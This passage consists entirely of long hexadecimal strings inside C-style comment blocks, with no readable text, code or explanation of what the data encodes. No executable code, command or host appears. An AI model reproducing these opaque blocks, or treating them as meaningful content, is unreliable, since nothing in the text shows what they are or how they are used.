a841da12a9e13f6303d1a89*/
/*3b070c96f612812ce6c807eab81e834928624b529f26aed5c53e478063cbd8917a9c59cb0055891e1736f7ac30c7232096f800afa70eeac38ed31a0eeca32e0058aea54a5dda57dfe981f4939d83ada0a213d68d95a7cb5906e4e743d73ca10ab0740ca02326b0eb1c6b83642c35f8bc44825bcc4e41917eb178a384e2c918288cfde684b527339cf0355f8f19c6bcfb6603ab2d282bf7b007364dcbb833dff6b62f875f04d548dd9ca8797174075eeb0bdf3b9f27cc85012e6a0efdb0588555933fc7bb19cadcdf26f2463953f3ecde193052e07e1830ff8c71d6705149c4ad267a0a8b53cc52759ab40e1167b1a05b75e5e80ea2c90064ffa6ce0cf44b596098847e192a1de9bbcf9bac6d11a8a4fd372e854295b002cc9ea1dbf87910383e1462c9d2e541e8d912875686155d0514d9539a1e17c970b384a101785765cb7b5deaf537d661bd0bde037dd1018135743082eea4e5f765fe7d5a955aef18c93db3212b3a0ca8a5c8ce84e46eadc3354495882d3ecc2c893cd9604a8949e2cdfd0968e7f8ae0d62115553f172c164fbc6107932a54e6203bf52f50f8979f8eaac571d1a395906586a1b429b5574c49fe6d9de2d9c91d8e93d3bb1a3ee66ae8c0b7fe140bd5ee5c1086c78c1c0a169005397e164e61ce80f7588c9edbe41ec224af1f34497e8499964c8c0d7d15495d3a137985dd10cba34d349a8c9edec7ce1c5f0bacff3f28949c3e2f41547a1a542ddfb341180e285fbd1398cdc59c0dc72137d3b147f7fd924eb9a9e341e94f39d528e6a009e14aea5f24b7b33a58a0580aee3db4b51b4aecb191be2eeae36fa2a7e8e754f7fdffff10cfbfaf8c44efebe778ad0e0fa41be5f7354b57def0a46a55cdf66e0a6ffabca675dfe939bf58a75e53804ece289b98cdfb9da616f250af1852ef206fdddca6e131b7f84798bd0173788cf2939fd5e29e6f1e95584e9100990ceec713b213e021951ea210b67938714713f7096e8ad22c960c4bda1f32366da55e630eb002df44c4f6a05fe6f81b926a31059176ecb21bc9a85f64a0f600b75d8ac4cd23bb5908341f97bc1af039f85a946da4e7f3b9106e8a6b5f5a7b4fb5f476ccf4a269d37569ebe2aefad1a185d78e4db8258a893311a2551e71bf196145d2d2abe939e4eb78524c9e94d79a84758c296afe734c1ef1417d430d26b9aabd81f7518165778d7b229ac57af61693670ea9713444f05d6c74dc97528e0cb928162459f14ee051a1eda08d9476ee9dbd6aac2bdb6040b741f7482f99b091f90d1845319d84a79f751c0e75ba9bf48009ed97941b574c106b25a5152f0f567e5594c88a694ade183cdb230c1ff6ffc7ebcfefd4975ad895e66805d9d95581934fe37d364ed09c377d01e081bc8387a740a7ad682dbbbff010d3a0e0c515f0149e7b9d49dadc9a94244ce4c4c10be17afaced86174b1d14ab4d2450c0ca1e0701c5dcb80e9a541f53f6dc6275c465fd2452c96c28f52c853466a37a16874ceb97f8c6afc129bc142bc825fecd52b3e8a85f80557b4f8179a2fb2d36546330b218e12c8e29c3d56a0e136275d0f2130d8544167cf74905995f7b1ac37f35b7b6e11b0f16ded2103fc51016559e2ce7245afe89e9fce427a63c51bc8ed2aa63be0170246cfcec1a2dbe2a5ff0c6215c4db1268d4e5b1363783095176f1cc95e15f594e63f58a9de4cc0efb58a0a89a61191780f44355c032ba01a89837180ee7fc23f0bc9cf240493405d1017eb1f8d2e8117eb5ddc0cfa9dbe301a9eaff3d99485fa8dec4f7f857d805b96c56c37ce4ed5734abe080db2de873584f61cd100418ddfaec68871506fe0b49ba12708d87319708c128cd9fcf2334a4cffeea945b9b9c119ee9cd06b8179590f1897b0750f878aa5e6cf8053900774572564f5923100e8bdfe28743db7dcfb7eaacc5fb7e45861ef28cf14c803ce55e56778a5c71799b0b1e9b6a4fcdb7d5378113ac99e6733c6d58fb9a2a805b2e2cd896dd949cd3e47d32f3bec8e11055764aca9b2c039c9da6875a191833004f014197a29eda3ca072803f50de579bd7afe430d2b03c2e27fbcc50c92eae842edf08f3c4d3c291d82ff88013f469749110c20e4344b3e97f2cea34e0afbd57b4dbba990e7a4ba32d6862c69805c2f39e108360e7be0bac37a69ebde1bae2dce54224c34594a14ad4d546f3894a186091ddf9a175691fb16e282a63788fcc587b30275bc5b95f3e0bef5de85521b6718b6864ccf5b62da82334f61532b8f7c1269dff7e5efd5a4730514116dc38ed571efff0251cf977accaf235fd161e3df5f1f83d8f6d3e2e121f7f6b1087630211f56e01db845b151d5529c24a1dea56bd688a28949c9c598aa90e215575a24cc3bae10bb94109d9fc404856dd45b5d278361f27cbc98587827ba850a7d96d3ed8947155551b778e455e2625a98f2d6228436e09ddf8036aee77e8749b60cfd637d46e0468583041c22a11006fec7ed07e942bfddb06fe282fdc5fcc13ed4c234027a754f37228a90e51dec5c9605349b641d95dcf972194d948e75bdef54494c600d21e2c98a7f775654451fc8e57afa99e24a1c1cadfdce01ff799437a5658934ca1706b3731b9efac8f90aaacfe899b67157f48edd15a7a3f3afa1bf134047a5329cf4c16e9ed5927f4b0f264dd212a6a4b3c6645a153ef5e1784929a37df03c9a5b01ce81a0adefe5a40ed53c06c3e78c92fc7844b2b44362ac665e7cf224efb2d920978a21a90a11d4dde917f78910677e276973d0230534015d91fc68226b7c207c9d8ccc88d642b9cec30aebbb79fd8dd8949dcceb10*/
/*07ad3438fa9bf28c18682d7f62248847a72b29b3a539d2cc3d4cabd51426fc21692b8be909316e6c6278e05a8cb62b1a95f271dced837911fd03307e925af5a177677c117ec807968ca51123b3f671ccf669720e0f88431802f400546a22febe0681334ffc4d104da330a24f9ad2d8b27e62348fd938fbdf24ae14315d22c17718f0cae6145a6693e5dad34db597ccae77de69d91b92650db7b7d4df460ef15146cd1322978154df051ef9e47777cc2ac4090777500076767529e3fea8f71eaa9a5d63097651168d937ea4cdaf426eea9e29e5b5c55b221582ce06f826a25720bc56a94739311bf5f5f4cf0bcbc2b5e16b977a5ff7626f0a4d8470ed486afd3ba62c147e74184d13d8c5a22ffd23c4034b0aff1745635700e7f2ecbc68ec6f49048c6bdab15cddae3940f17feb8818cb50ed95308d4352ebb2250e518da0b450b7998550c900f5e83d40afa8b71f00d07ce680eccbbb6d3e3cea2d67d26b06debdb75b2bb60954444d844b91a9a75ee85884ddf022a40bd45ee1d077650cf4bb60e56d68254359025f21f3b54bd55f7151f39d3901f834edfff42dbfcad84257b3e69e887b0e166f6f2c8daf5365fe6484229950ab620221e967cc186328126c564630a0432989bc9e9d610782745ab0b8f337a84d8153666c636a0c094b8e65d66a69db93ff170b44a6baa3caa78ba5cf1db40a9437463cdb9ac0f7564a796f04bc261958f4aaeb29c5abbaaaa36f3e7203c85e46e3ea370f8b5bcced4c0010fbc3aedef5a2d41b902d9f0dc80662863a095584ac26a7f3344d316a6301783b16f1439fe1fe7e5219fca0c913ced11118bd7cf3534a76b812a90a8844f7c298d1b0622d5309e306b04dac70c296ceef110ae0bf5b84d44bdb07429fa18d2d9dc7ecbf88a756e4150af22b46ba18546e3349a8098a5532984ffc5fcc7ef6a282ace419b403bd904ad755fa2dcd358ef192143056252955ef9172cb168e758a487593aac9e7ab3c21b2143cf7338940eff4605a4ca4aa1246c78f7df1834667cbfb343c9e35710021bed59461b15050e5b15e880d86d49f8ce947d143a27731cbb1eea113a01762ccf74ead31f963955bcaa8721c333e8665b153da1120ef3c7404a2fd10cfedf51ccf41cc39f7c313dd0ddc49adfb1b62954ff465ce24e8c8366dda0f9730eacc1dfbf5e06337cc6198a51d2b0fe2d8c0168f603445b1e9d5221cf4c389dc4f95f4e522ffac3fcb1bc44d7c42e4e4e0476bd547befcc6d238054aa8fc8d63d81c9e0e7d49a7f9bf833cc43a167930053989926fdee31bb93a75c811e5a60317d28c63ea15d56e729819efadfe63fa347430ac96ef9bbd7936342d16350554aac7cb60ebacb117a20d964ea266ee31ffd5db9f33c197284dbdc3438e6806279a31f1af013c6da70e33f2679b2bfe807254e1c78023181249776b0b37721378615a9a6685863db5fffed1babdab3fba2f24d1aa825cae56aa3f8e2dcf8a682d4eef679324a3ffcd39e40ff22f3b0590ba763d06b11a896dfa5089e8b1ca0fe94eebdb112f7973fb62b142ffcac9f49420589522068a9b97ddd19988eec3f860982122caa8153fa1f85662c9ad408e014c85d614509b3a2a1cd32d3a80e51e7fb45a90381d39ac26fe68e41303ffd9db9265b3e26ea3cfb157e963a1eaa2c021ff088108965298f1e8b3c8e9bc88a033fa8795b003be7f5679a97ca3b25bd0b56214cbbb77bc51a1e47d7a4134ed3d38df019b29cca41c6641993e28126184d13d5a5e2731b403d0f94917a293da311c652107ee1349b0eb95218c6f403c17cbbb7b89054674c770f52160e50f7e9ba221b31b34e61003305048f949985e78ff9493f8147fc37b40d31a6b7f1562c711c7944818ece466d0dc1ca4ab0c086e0ee68f35c527cc81d57e6aa9af0874798e3962a22d2463ba0c6df7d5ce65ebc855c4a007e2f30cfc096ae0b50f7061216fe3ef7170cb85ed38a41696dab82022ae05c690ad947cbecf5dacb81bd272462586debd73345d149b530615d9177f815b9a4bf33a6e474e0c5fcfb5b7e4c452ea9c4fd1caa72602b2398264dbc09f1634fff0c1b72a0a665137ce84ce17e6b3dfc9cf63c39d41029c9c015b5aaf2990a9a82b707c2b7894860e0bbaa777da6bfd7a28d89384ca18bd795045cf96c9cf247f4b1bf53a84815d28b061639264fba7279e19ac4fcc3b50f3bc20cfcbde60b44c3c56156ab4a75a157b21308bfe2592a177e75bf955726ea268d83e412487bff12d5c2517871038ff4b20533e25c2ac6d88865453df7c12952f3466a5df2fbc08620794d54f66223fa41911a4d68682c192dde3dcf99fc71953ee8e86709d3458cfeba5e10414958d0ea39ac441c56bd55897840174d53aa5c50328cb8cc5c767cb000caeb9953a81f1806589456a95491e094e30dcb70e1584cb335d22f9d5ae55c462f6c05074ec8f8b45a02c5a84f240f6eda4575d3fd68837a644198d988c935ea2d40ba9ef2c7b9ec9784a3f0a06551fe29408a67f74dbaec9340339905b39fb1a19654d9189f4754709cf6a4fb46a4ff07cf9ed607c77c097c43628781c6717d08b72c38bc20aff21f35ac4933380a6261d539b027c49d1190f3795e5167bfbec61d804412fc16cfbb2c2d068efc44e8cb79b142b7bfc7707d477d9a011b03dd74ab5c333e140a8240c37d0bd400a6a2c9c0fb8cd62764aec3527aee0532bb39a16d5c9c4f24e2764fad0bb1814eb79707769d5553c0cee729b2aa43f67cb6c44cafbf87cadb23e7d435faa224c4844653fbf3ebd499eb4b4e8cef5a444eeba60587999b19a5904*/
/*ded511b0893936a29101e6a33df80ae3e72bd4291de352ecabfa9c43791a6b0dc7a4fd9de007995b86d9688fa85fe233cb4bbb13ffa2e5c9b9a48dbf39a8935080b1e5d440127724c397248266892f290fd9e0a6774b4be7eaf1d6f279ea54fdf0fd6100f8d22269132d32003a3b0147f241210cf3878a828cfd9279280b9337913d070e59b15a90eb54e976f4f391bb0caeba37ac4ce82016e36d61880da46063a9969f4de0eef65f499da63735bcbca8b0911672e9928d63dc0d8e8e4c5142d4f721abb3f39aa748faeb85078add5d17e494a1feb68f089573ae2489c4009ff80e60f8498b6bd18c7cbe2a643b12251b5dc5345742c03c716920a42afbfd09f60096828985b8477260681874ac2b4a12bd56fc2c599401ea416dacb751b0a9bca5283268ec454ebf5e1aab58016f1b3c1d0637eb179dbb37732970055ed76bac8f6bf3d34fe56bc2ad14c50d7a3872312d624f765f6a238f36c0c4e345553bbdd271e7e9a68007ef17ac8e7a4cc7d3ad42d8af402da93cde96ae00972beaf51368ede662a6b04b81ca4db8e2b1dceb6aa45c7666e00cf3f3949342971350faaae3da271a5525efb146278fad3cfd64604df42b194bdb31e11f9a0811843f834bca892652299d6aa72e56830ef44faf4574fca6cb066451bd1daf3e22d6118770fd692b7abc4fea6898cde970a726af2ef98cb94c7037e50670a4dfbd2afd0f90bc67debd38835fb11ce4c3ce4a90bda81079f9977e10983d08d1e0764b070e84508223ad237f69b937a08795a68766aacd9b20d7f9e785a7b9feccefb0a0896eb0cc467c8f2e76e75096607e06bc5ff1690d970781f0c440a6ee4c20d8af2375a50d2e5c7c528a01fda3510f0ac176f15a2fe88a95ae1d302a3744a85b414ceb3953e3846539dcfc733352115f4319a050c543056752daa6112c75114bd52deef55778eadd8b81b5cc6e65a60cbf61fcda6708484e7f8299ca04b78f521d29bdf6500ec08de034bb60827dd0fff03c6f465023b04f8c7d2170e2ed2bb161467a08105e39ed6d657c3a24aeb66cc2f00d317d2314cf22fe6d5bab52e7406f23a38c7ea7c1b5e89089d22fcf21b2a34e075066f7bd054e987e0df2396011d9af5db10f50fb8e560aec42488126449691b3db14d863b5314c8b564c6a4c2ac942cd751828f32b6e94f84b350fec23a0f91da3ba05018082e0cc213d09576517d0abf662268a8c8a544b82839c0eb0f97ba9825ebdcebb3fc9d712d2772f882343d0976efcc12a5e68fd4cedd59d0f4365f4ca38f3cb37ee81942f531e66bb9ad143c717488e3c513367286996b658e103a1e7d39fc68608d0c64e45816ca1f703adf406f3410877f43e850c9a80ceb41bbb0f698432cc2e6ffb2c187cc4d360d2cf3eeb270535ac768d226f13e2429b0197efe38fb5d1321ce93c269948944a106c9d5f2f6571e3280d308b2c24887cd65382395ccd7d5eeb48515d3d27a5e62bd128e9f9313284a3bee3536039b7b79eed94e4e6ee98f5938087967f886b745f20b9ea22d0909a8ef8553a8b13fa9b3c2380698614246075e050520fedaba3a45f02622f41d2dbd2236ede753f477d1b77f2babb6e7775c0ff05a3b720c09eefee113f1b8dbc5180394a90e9caa399710fad9940a2a9eafc11232dfe80ef2afa5e41a8b9df0d84c05d032b88baac8a8367cff4a86df0fc00b6faebbf7fcb770e58c15b81ab6128ddabefd006b077e5d0d21be23a206a2de20558817c26e24ddb24473985d1f1f9a32bbd9c15c82d073293abc5efcb9b813dcd34311943449fe60921a7d7e587f9110dcb3a13c8403347daa6f107d388ead4d853670f85cbedf64f52acbd08166c5cd09229f791d63cdcb6f9029a39f29048fba0162f2dd4c997f847dd9c8473c44ac145ce641e489e9e639da21efdb93d60a74c4578d56f43c3938dd8bf73eb6cfb0d9bc4c56482147f0baa28284d102a20be7e1d63885dc0325b3340a7d6a5f52a9d5c5be77c4f355003da8fd610ce455a99c236c56c0b8076fd5b35e91253b56aa32dc4d33e1bd18c18587b568a23f3295bb34160e818ce282cdb186e222a4365661e49ed6d03a2944abae932f4121f8fc2d1419b20101437f4e575e4b52c18956e527c9ae2c0d67635830b206ee180ed1de75ddbd31ac3b9e7c316d9248f3eaaa8204da6965b36d5750c444879bec597d08b5cbadd129ae63a391dda0f88f44cdba0dde7b1918651a58975da36662d48c5da1360dd2398e519f37601b34c1eac3e5e44bd8065c8d4143a9e48dba73b2bfdf958e796007263ca82db02234a9ac8d25ea2f909e66020ef5b0081b0aab7b23361cb50706540e3e9526b4f8db7dfb00005cc7d400c6d68d6c8811142df0694ba88ba10e819190ed21e7114c7519a3ea30200a80f5829e3b5f40a752e3bcf83d12852deb2d1ac5a82cb63de731603abf1c04b4d40ecf68127c730104bcac724f90f1e50b360d5679475f8b9ddb3cd8f8ac69ca05a9962954e4f7164f759ad8d9171bfae8821b67e8698d79b74ce2abf457b3c74ba4ccbd4a4c89534f7313c71810abc0b0f68bf0df08d00a701748667ed2a796192b1be0df44692005d9af8c5335f09a1f108722a50ddd77c3e09f537b50ec15157104e6798afd86efe32df52c8c192a6ae5fe5e52ec2cd86078392e4fa26ef17c5f890c8edcc52854cfe43e114c214cc797086f8784fde23268243e83bf450ca61c2a2a9b2486b58ed10ec1b85102c00793d12465ea54cd28b98e0a5d9bff3efbcd55e30bc7a59b8362078fde30707000023b0d5f1c8cc733e2f15ed2c99c345a6feb900*/
/*d89a08331af1b259b7487067ae2e03807d63fbbae48419d2cfc0ebf5057a515bcb2e690e6b98bb05bb8f398028f289aa7bda9a793883d79728695e193d93e248cc9193399a2609c7b1630dddc247d70778b0368493bdd92c25c28a358ca5a2110a4bb5959654b4e9fb836f33a3200c1d07adbad13fc15fd45d2295bee27729a6bbe87bad46ec84d00a982b3f8bfc19baf10af128109b72cc8aaf9f07344dec16c66aa2bd208603d1327aa91a943d327b1fce808959b11286edf00119992933dbc652ba14933690df2da58ff63c428ee080e7de7dae8180c217389efbc3eb4bc094be0fe2cb719260048e28d63527823fba5710749f65e5a50a0dded8a3cb6b7b1cfd8e24770ee25ae6fbc9ab80f152c5391677bda49fdfee77ed72f9897b23657d335c707cfb823888055dd9502a255a5ba6bc0f559b794441aae56e0be9d8772d0ed0a4750444dd5b5647bafa15de0899742e8b075be17ac32a4ebc5dc7cbb52179670f4d456c71aae77bc957e613900b826766f2a6d883b1c7e78181e51e1df0ad9c673f7a6841c08e8975260d8acd1df2b1e00b5dee7d7e566653fe4ed6ea6246600263415e7b41a85225718647d86f562182372cbe8e798878ab89e3d7e077d1c6ec2f69d240e0360926ca52980c9f65f15739ff9247f323f22d2c4f79bed28e8a82f3445fb4b13ce41f1cb7300b8adc2bf964b59f6e46ada7274508079254a7ab242573a001259839b2cfd36ba73d7eeaebda6c88a9881adf2a646f6340be4aacb19ec824a86f25a56ccd035dac839b7b20b2069885ed8735f249d17920578fb8e92eb0f2360a685730b19bb0861c153ec7e82787d161d973fc192679afa6e2ddcf9026df1f467480c1a3e2b91d1101e79accd46ef9deec94d1fdaffd917a5ad4a7fae827622035dde732af9e94b17ed0d4e895da7cfb0dab8c3689a27e8f901309b1b8f94953faf32a31b50eb7ec21d1a2eb07c4b7b5f3a848cd26348f3534d94c8fe2ccc8fc9ee4a567f1fb025595f73dd89efd5b4ce50a58ac7f7f40859c6fd015327cf06265c27d2ba810036d1506373879c1d332300c0a32c3c2a9c2744572d0623ccb3dc91a1bb813f414c40f29e848a62ee0710e7fe0dedce1eef7edfc1f03a06e7eb1bba664d6212a58fe8e08f6ae280a967a734a761dbc2ae27de2791b4e228de76045ad07c9aee67ce3277f1035801da866a2f579dcfefcf8282b495913a57687fcfc996454b571eab890d7232998c510b4c8c72f88ab764b30a740b822ccd4221bbf793289aae0b3b7deda1086819acc3acf84168e365d097cef25bbe7d3e654ba8a09dd49b1c8a3aef7676deccbf6b63d519896386deb49b307a9ec80953b466bd28b9f932bb9ca72294dc5a3cd4bfaa7d3813faa87a43465e856163df3ba3f518c99a2231d37ae21126fdcbb948552dd7858d441cbfd7a05f31cba75951a95b471d57c182111ae63b5c384ed48858826a7c7903eb691d84021e205011461d3b217c9373c9947ba260ec2a0106807a46b4516ad27c3e75d131832a4bd16cab62f9b8262f3d64b490b88910de59e6157c6851975a9070fce3daa87fd44aa8ac8466fd03e322311039eddc822e885fa6a6033a15ac42ef6c3494992f6e2d14984e803975993e02931033b4b1f0f7f1a24275cfb00b21c8914eb5756169b6d642b3ccd8c00e5540e7eabcfe7ecb244ef2cca7141dfa6ad1ab6562045b65178e6490af7f5f56d46b5eba2f63d12cca116feceb6ea88c9144840f20ebe1937eac1a43a68ca1af15be4e9dcc937f06f3a803ee3a9221f67b09816c462fe481d5d6a5a12a981b0cb9354840b7444f455f4624bac0b94d319c03ca7838fd01d60a3842d1ea34308925af8664e1bc16449a5a39472e89e95b043ff85e38bb7be9d9f44c110622631fe711dba257a233c75e5df5bbe073bafe57955e5038ecf34848728a617be19c366cf8071731a449acf99dfaa7d8c60014cb8bb3a7c65b7b5eea6b9040badf1c970510cd12d005d2fe272ba9251ab7cf30c2d6bbacc637436814422b3e50805f2e51529135e877ec654b864cd68acec58490d8a86712789ad382ef663f29a78eb2b7dd890fa21245a582892521a774437fa4e69826b98f7dbce24e8f9dc6ac8d7b1387b7fe6c5ac6b10e94cbdb19c2583fe8f65c926ad9860d87824e3bc586db17adf24580bf192a6ce65075784732a70279b9f347ea3dfc260dbacc0cfe1f3b5c3ccbc25048cf985d6976a60b6482aa18f33eae0aac751ba41b9cf66363340a16b7b6d1fcdd376a6cbca79b71465eb6c34d37b48206acb54e432deda12025a3685e1e58823483c81bb872855514a921f513fc8cf1d7a918496ed11bae6b3b15f118cd5d6a463e9a5c9a42143cbdfd7d95d6aca6d04811bb987e0cc34d5f551f0eb5b58798b2031271601bf06378e578f609169f200078cd889e884074d8a55e46d14fb90cc80b1ceeaeb3bfd2306d3bb108e59ac6eb03cd0b62fb231d009b4325c18874b3d88a166a545f72b30e2a789a16e8219ec45c99a21408c6ca20c89e5b2b87b040c67d875bee9e26d39eb40eb3873dc57c495dd185432e866c137c69ad2292fbb8e9cdec9065ffaccc7c16a1318d0b423a44ca026cb809a490d11d85923d19d7fc45e50c00665da8b82af7c6593e9afab33bb01f4c553c382b06b6a62758703d71d679c10d1a074d12c6cd33a800f7d24062880042c130c9678969a74fcf03bfc97024ae2492955f4ff158c85e805640a92550f369d902ad0159e275bfa6112e87096f9c31a3b7439baeec258b0b917bef4dd041fa67d9fbbd40476d65c2926d0*/
/*9657a47d13849dcc3fce54b983eac5bff554d657d7acc29892256dc70b5f5b346dce32025653a396b4bbace0519ded8b5d996cd82b648cb4d3683737c7860bfa87781816279e14736c3f97557612daf9548ea0c2b41ac4fa8b589a3e7e9b7f186140eb01fbda551d437d7eead7bce7cb7f97fe72ded98cca6fa3555d10fb4c78742c1bc8f1ff081c944c1a52b64c8487904761e6adf05f6aa2db94777b7ffd5bab05671a886f3d106cf1b2c33aa115a137b41f53bc8882d70561ca295f257e232555c41425112d3292f0adf3a211b971a21878bb6fec045706c98f8437d5a15ea39175e473ee47f61395542da785a92cc12a876d6312fddf3a76189035a2a12eab99b232f83d7db86c8fc7669e4c6f4015f87d1c5194c08178d374af23ccd4b34d897337eff60f22b525a2657cdb04120c5b8ec7c6aaa43bff197c2b0073531a8dbdbfa470591469668c88a3e1fffedb85d20f058f42957692fe025c5ea01e0f7179993a9e4764b4be9ed8daf3a6e2ffeb989183173784857889c85bd9234e5093e02fe5a77b51db9c5ddbb0da39569c91fb0f0732f58a8275c09dd77b6bcf6788c7278461a1e5c574f0fc8ce2894f8d17485a0d7b52aefb03520d2a8b19fb68950a542db0ad5b76d4ba5b146fe591b7cd33a878f534e6f702b54e422ce821ad120b60656d7e2d4f87accca1b48360b49cf47afde48aa617421021ee7f70de4ee30d2d09975106297db0bef28192f7313d2f6d2bd0ad4222a324f8be948de554751101213c4831a967ca7d9e0c1784121a2d901352917a7239e3cbe6470ea31739f7e1c0e269952c6a4b253a152ca63d131a41ae995a5f3fbd93fd85309c6610a2f3ad49806b0d9cac9cfb395ef21995642c7818f1856a5aa39dc92d9a9f81a2b9cc1fb8912ce0dbbe4c07fe6db5b66f3ffddb7021cc4a6a6ccf0061e8da0448f4dbdfb8c0c291e8c8f6dde7141dfc9806d12f040086c9ebd899fc10f2465f50ad5ef9a3cff8ddcb1827e62dfe95b5f136666d4ec196fef7c5fe11650beeabf188ad183b590774318981c4009c12b792096710104f911a766cb9f61a38b82cea959e96be53d9888151ca3ef48fb14c9b85a706bf127e6036d784a1d38cb0a4d14f62ff9a83a3132bfd53a76988bf88dcc7d6cc46b02a5a8a7a4ad0917efd3f47370777047abdde2c3b9e666e25744d13eb2c75b218990238dced9ee506d3074af2ada9c8aa75ed77e562a1e519f063712be18c9f05c9006e2f89f66d8fe4b034a35754e86953902687e0904531c5cf6a6fde46657a90973b7c8b761344b2f9ce02fcf7740ff3093e10fdefc93ae38d166c5bfe1559e41c8d3e1a8921cd4110ddb33b5be2af1edee5d98aa78426cce973ec75e59c0d1a7f7d68bbda3971034dce337dd7e44e59cbc0857c94531d51e9ee55453da97228a3dcbae97513076eb009608332d1afb344d49dab6aea49ae69abbada43a1a0dfa7ea967b7f38e59634cdcc9dac844e6201ef0880511d899bdc18ad4e6f6ab07bac09e1ca8111f121d7f7fed3f12c26fd506dfe4fa1ab0e9262c26b31b13ae6a352474591abc24a9afe7fb9d1834ab27ed79d60d63709c3bc00606d93317d9f2df206872997b3f686986f763ac5244cf9723e55d1ad0569ef293f20daecc2d60d315040cc86390aa4c9cc1ac20ad44d3cc0afc013a1e2b877562473ab3256a32f5edb830649fed9616b19196a7ad073fd06e0c0a2adc3af79e992cdab43b4c0946578c8fa3a328e1320eb02e95e885f97c50c0201d8e46d869c529475d01c0166b2ae37f5cb0e86aeab36e9f7bb7d1b7631cfb412d36f3e75d444742b3be9e279d4ed5d27d34fb0d2ddb411a409b12adaafe95a8b451f127f26fd4ff6487fb87ef0c9f9c1e5f6dd256966c5b857d9ec4b4ac8188b5a84f593ee42cc1e2c5445b4e1c4ca9c62091e32f795fd48507dfbc87bd27cc7f1ba9d81059aea7ca0fdbde26b6d35df44ca87e8db79802037bda7bbb0c36dbd44231f29f0c32c438e71fa9156559ca6f45e0502c2dd2fe5aa32d55d81c4949b4b31930f0121ddb234369ecf06e61bb9167be08f2d3b4a418f2543f7506702af0ddead57ecbf65de4c5eda130b4c3e2f1ba1896ea187a08b21964493f8f7105c5f0ad6ad8e70e2d3277dad9103f5f7794fd6d771927334d180766c225c7ce93101469abd95a6c8c4e8ddd1b1bd8d276ca20b018bd825e33e7bb025a7fc90cb47686ff2374afb4a6a908924cb922ba5d5d803f72f075638369871cedf88a891b8f776eec5419dc36031a1fb2d3042efb15203ef0ba4d85e8e9f39a378eccf7c25f051ca820b7f87a4398cab4445ac391500b1b2c3546e78fe9a540a6eac514e1ed399cb9b9d182b39873beaadfadbd29f9c344be0b3dc569bc5f515f08f57e2c18e4723c9f5e8e23d7665afc305840c887589ceb52879d87b9f565c07a71096b3e11ba4ae2033ff80c93bbe37155becd9a7c9f2ef6d3f7b99a13f3bd57faa1a6cfd67afe5cdb22369902f3463d250e0546e882d1b3daafed2134895db5dd23650621d2a8ee26d87597cbc5f7958e240c8ab03a579c76d77097edec18cdc9268de9aae4eceaaa9aaf75434a594d8f10fa2d4f012497150a81c382d08ce93c8266ae048fc6798f2763a39d5f894b0939eafdc7d443107eb582bc8135de4315230b69af74513e1437d596ec593a9a37acd67b821030f9a14251bced6d52d5816a0704ca96756a3aa9822621ee580efa08857362ac692f98e9b030e91bce83d3f346e7f8add4883fb7c908e0d59f602d27332154aa29027df20f707e642fc67c37d409b3c20a9d14b*/
/*8d97093050106150d79be847af2286e75346acf6912089de55dd5c091f8357ad68353e71afa3a5e7445fb8ca0d3e2676366b83de5f7be0bcaf9f8b4ffa2724e637a1e1db90603409fdcff8fb8b1d0a90002cf1d5c4f4f93d89a5fc1ab7e5fe336b2475acd4ba138fc94736081294debb94727ad0693e2c6cf9074fc21fb3ec1181c4679982b15eff8171ce04ee3f9717ed51e0f442619ea261a8a5ad052b8a13b67237e2e40ca374f6bd965d1c5f2f74dcfc354f0849fe73a1025cd460af940cdabc300f5bdbd22a8edbd6008a64e3c1476b0f5e9471e82307d83ccef440ff784be1f84702b133ea5285b37aca8f60d348229429495f5190374f5b0aebd7aab0c644885408b9359ce578d2a989810e50a732e3b85eabc6f4b538c1e9e1a5eb96466a773f5ff6b72677b34d04b439036fc7ec8940d3713f3f08fff36dd076e0eb73cb168f2a0f19e8f6cb4bd00846f8c13eb5b0d87679247b48948b29d0b6a6ecf7c2d2ab2394f27bf4b1c20429b0f9b90b64c38dcf3c6fe06b522d98ecf25f0eeab8b7c2c3aae5f03e7a4a94fef62dbb3a24748d8f948f180847162474892b824df729e2f1dd0d23fbf4ee3210a73a10aa15d16e10c012fdc26d34787c04c2f85d29de96275164598828bff99d3fb46c26a86d91048f79da4629463f6c77bee32763aabc45e64646b325624a9a67609bde9a36a716a27a83246186969bd428bdaa2dbdd75300fa9d378ffa04a0842a8f2885cb7f5c96c2d5fc7367f443d6cacfd154448d2ddf564f1a8254a6abcf3cfe36af84c5bd42d5cd072a27ae4904e6db732cdfeca4e3dd4bfbe43997fe16c2584ca9fecb6664f094e6fd4eaaf15c754dd1180cddbfae6322f6c931db6869e39391a69eb8d0352511ddf0fa2a041110121baea6a666512789a64ea25e94cbf3a73c327be093808586e187aa7bf641076ec0e80b4b7e02b5dc8ea15695e753bc9224abe2fde7fe453a70bd75931d5ac24632bae22d37e0539f08d0a4842f29377485c8d490edb1458d6665d29843ff6d3ec6260845b19b6303e525483b14d303cfb917fd3cf61874ccf9e4cb81c191aafc20ebf73f492724d2a97e4a5990fe554b0dbe3f298ea98f22417747b5626d0a27f11e875f85abaa6ebca1b355ef765a460ed4b1961207ed56a3f7d0580e843d88589b6a24fd8c5861a0ac7960925f77ed6b8d28caf603b7244c1b284c2d650fbd8bc36ba4434e09318824b8e2141bf0d1c40478054e2b8967f590f2a8f0a761fb96eaecde2b7009adcc7e8220db466e362dd45110b1c93234227aacbf153de7057d8da8b62145c6f5137db25b49df1cb3398611211e90da9808c3a017210d2d2d1f6f6e54f90dfc804fb08d60b175f701f3b1839c22caad6a9f62c1eca1202b6cfa2a6de3610515240a75b195e947f7859e8a6066f1eeb7f559ce7b1519039d092b8a7e1211ebb3160d71c0b674fe003e1705beac323ae08cfe7f5d19e391408554e3ff13523010715a049ce2e33ad6e5fa9325ba6566cf65afe1df841b6c06c473911e8ffff2602a4598f987152cbdb6a01b7106b7e22d454f0517759650f436d024f529a4d47b2ee60ae128f66875936d26a3fc737259f083db64216bf7b7a7fbe981d35a71619a95ebd1d8467c508032e11bd0761f5e31f4ddbd5aebccf8a5a7e4a20977f2ad85d5e2d6ab252445ecf7a21b64e8e26b19e756637993b67b1a8637bfa7842a0fb0e8a5dedc09150a1b6590823169a4e132992fe31ff072f11af85e8d729ca267fe4f4d3303daf01defbf391b45504c2bce6ad2a1b554900f729af684d318521d12bc1d5bcc98ef18cf7dbd5be392a3770f30757dd970b6ba841d7f09e0a30ee5702452aebf3f29e57cfb20f7b99161469cb68e931902d756764f5587e78d15c3e50532ccdbcdccc07d1b72f20c92b45f7e547e67ed81c6f69d6a43ef098278cfefb982d835093af56ee6652c73094d7eaf5f96638fd8621692e537ece04ebb1fe66877582c576e199239c0f339765f17a7e05ec2c1bf4f997ed02241e0dfe8c3abbd2c53167b7a4a6937b64db6a173f8012ee8695f35be34b88759a749bc8